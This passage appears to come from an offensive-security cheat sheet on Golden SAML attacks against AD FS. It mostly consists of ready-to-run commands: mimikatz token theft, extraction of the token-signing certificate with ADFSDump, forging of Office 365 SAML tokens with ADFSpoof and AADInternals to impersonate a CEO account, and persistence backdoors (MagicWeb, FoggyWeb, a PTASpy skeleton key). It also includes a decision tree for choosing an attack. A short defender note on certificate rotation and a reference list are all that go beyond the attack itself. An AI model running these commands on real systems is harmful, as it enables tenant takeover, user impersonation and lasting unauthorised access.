# If you have SYSTEM, impersonate the service account via token theft:
# mimikatz.exe "privilege::debug" "token::elevate" "token::list" exit
# Then create process as that token: token::runasadmin

# ══════════════════════════════════════════════════════════════
# STEP 4: Run ADFSDump (as service account or SYSTEM on ADFS server)
# ══════════════════════════════════════════════════════════════

.\ADFSDump.exe /domain:targetdomain.com /dc:dc01.targetdomain.com

# Save output:
# DKM key hex → DKMkey.bin
# EncryptedPFX base64 → EncryptedPfx.bin
# Relying parties list → note ObjectGUIDs/ImmutableIDs for target users

# ══════════════════════════════════════════════════════════════
# STEP 5: Get Target User ImmutableID
# ══════════════════════════════════════════════════════════════

# From AD (if domain-joined context)
$guid = (Get-ADUser "target.user").ObjectGUID
$immutableID = [Convert]::ToBase64String($guid.ToByteArray())
Write-Host "ImmutableID: $immutableID"

# From Azure AD portal: Users → [user] → Properties → Object ID

# ══════════════════════════════════════════════════════════════
# STEP 6: Forge SAML Token (ADFSpoof — attacker machine)
# ══════════════════════════════════════════════════════════════

# Decrypt EncryptedPFX
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump

# Forge Office 365 token
python3 ADFSpoof.py \
    -b EncryptedPfx.bin DKMkey.bin \
    -s sts.targetdomain.com \
    o365 \
    --upn "ceo@targetdomain.com" \
    --objectguid "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"

# ══════════════════════════════════════════════════════════════
# STEP 7: Use Token (Manual via Burp or Browser)
# ══════════════════════════════════════════════════════════════

# The ADFSpoof output is the SAML token content.
# To use with Office 365:
# 1. Open BurpSuite, intercept browser traffic
# 2. Navigate to: https://login.microsoftonline.com
# 3. Find the POST to login.microsoftonline.com with wresult= parameter
# 4. Replace wresult value with your forged token (URL-encoded)
# 5. Forward → you're logged in as the target user

# Via AADInternals (automated):
Import-Module AADInternals
$token = New-AADIntSAMLToken -UserName "ceo@targetdomain.com" `
    -ImmutableID "base64ImmutableID==" `
    -Issuer "http://sts.targetdomain.com/adfs/services/trust" `
    -PfxFileName "signing_cert.pfx"
Get-AADIntAccessTokenForMSGraph -SAMLToken $token

# ══════════════════════════════════════════════════════════════
# STEP 8: Establish Persistence (Optional)
# ══════════════════════════════════════════════════════════════

# Option A: Backdoor claim rules (requires ADFS admin)
# Add issuance rule that grants your account permanent elevated claims

# Option B: MagicWeb (requires ADFS server SYSTEM)
# Deploy backdoored Microsoft.IdentityServer.Diagnostics.dll

# Option C: Keep the cert (most attackers just save it and rotate as needed)
# Token-signing cert valid for 1 year by default
# Only invalidated by rotating the cert TWICE in rapid succession

Quick Decision Tree — Which Attack to Use?

Have AD FS in environment?
│
├─ YES
│   ├─ Have SYSTEM on ADFS server?
│   │   ├─ YES (as service account context)
│   │   │   ├─ Run ADFSDump → Golden SAML
│   │   │   └─ Deploy MagicWeb/FoggyWeb for persistence
│   │   │
│   │   └─ NO (have DA, but not on ADFS server)
│   │       ├─ Lateral movement to ADFS server first
│   │       └─ DCSync to get DKM key (if have Replicating Directory Changes perm)
│   │
│   └─ Only have low-priv domain user?
│       ├─ External recon: AADInternals Invoke-AADIntReconAsOutsider
│       └─ Phishing/AiTM against ADFS portal → harvest creds + sessions
│
└─ NO AD FS (org uses Entra ID)
    ├─ Check: Does any app in Entra ID use externally-imported SAML cert?
    │   ├─ YES → Silver SAML attack
    │   └─ NO  → Entra ID is protected (no on-prem signing key)
    │
    └─ Have AAD Connect PTA?
        └─ Compromise AAD Connect server → PTASpy skeleton key

Key Commands Quick Reference

# ─── Recon ──────────────────────────────────────────────────────
Invoke-AADIntReconAsOutsider -Domain "domain.com"
Get-AADIntLoginInformation -Domain "domain.com"
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@domain.com"
Get-AdfsProperties | Select-Object HostName, Identifier
Get-AdfsCertificate | Select-Object CertificateType, Thumbprint, IsPrimary
Get-AdfsRelyingPartyTrust | Select-Object Name, Identifier

# ─── Extraction ─────────────────────────────────────────────────
ADFSDump.exe /domain:domain.com /dc:dc01.domain.com
Export-AADIntADFSSigningCertificate -Path signing.pfx
sqlcmd -S "np:\\.\pipe\MICROSOFT##WID\tsql\query" -d AdfsConfigurationV3 -Q "SELECT ServiceSettingsData FROM IdentityServerPolicy.ServiceSettings"

# ─── Token Forgery ──────────────────────────────────────────────
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump
python3 ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin -s sts.domain.com o365 --upn "user@domain.com" --objectguid "{GUID}"
New-AADIntSAMLToken -UserName "user@domain.com" -ImmutableID "base64==" -Issuer "http://sts.domain.com/adfs/services/trust" -PfxFileName "signing.pfx"

# ─── Persistence ────────────────────────────────────────────────
Install-AADIntPTASpy                                          # PTA skeleton key
Set-AADIntPTASkeletonKey -Password "backdoor_pass"            # Universal password
# Drop version.dll to %WinDir%\ADFS\                          # FoggyWeb
# Replace Microsoft.IdentityServer.Diagnostics.dll in GAC     # MagicWeb

# ─── Rotate certs to kill Golden SAML (defender) ────────────────
Update-AdfsCertificate -CertificateType Token-Signing -Urgent  # Rotate once
Update-AdfsCertificate -CertificateType Token-Signing -Urgent  # Rotate twice (invalidates all forged tokens)

References & Resources

Official Research & Tooling: - ADFSDump — https://github.com/mandiant/ADFSDump (Doug Bienstock, Austin Baker — Mandiant Troopers19) - ADFSpoof — https://github.com/mandiant/ADFSpoof - AADInternals — https://github.com/Gerenios/AADInternals (Dr. Nestori Syynimaa / @DrAzureAD) - Shimit — Original CyberArk Golden SAML tool (by Shaked Reiner, 2017)

MITRE ATT&CK Techniques: - T1606.002 — Forge Web Credentials: SAML Tokens - T1552.004 — Unsecured Credentials: Private Keys - T1556.007 — Modify Authentication Process: Hybrid Identity - T1484 — Domain or Tenant Policy Modification - T1539 — Steal Web Session Cookie

Research Blogs: - Golden SAML original research — CyberArk Labs (2017) - Mandiant Troopers 2019 — "I am AD FS and so can you" - Microsoft FoggyWeb disclosure — https://microsoft.com/security/blog (Sept 2021) - Microsoft MagicWeb disclosure — https://microsoft.com/security/blog (Aug 2022) - Silver SAML — Semperis Research (Feb 2024) - Hunters Security — "AD FS Threat Hunting" series - Orange Cyberdefense — "Exploring Golden SAML"

Practice Labs: - Detection Lab (automates AD + ADFS setup) - GOAD (Game of Active Directory) — includes ADFS nodes - HackTheBox Pro Labs (RastaLabs, Offshore) - TryHackMe Advanced AD rooms


⚠️ OPSEC Reminder: Token-signing certs are valid for 1 year by default. Once you have the cert, you have persistent access until the defender rotates it twice in rapid succession. Even password resets, MFA re-enrollment, or account disables do NOT stop Golden SAML. Defenders must rotate the AD FS token-signing cert to remediate.

← Active Directory top ↑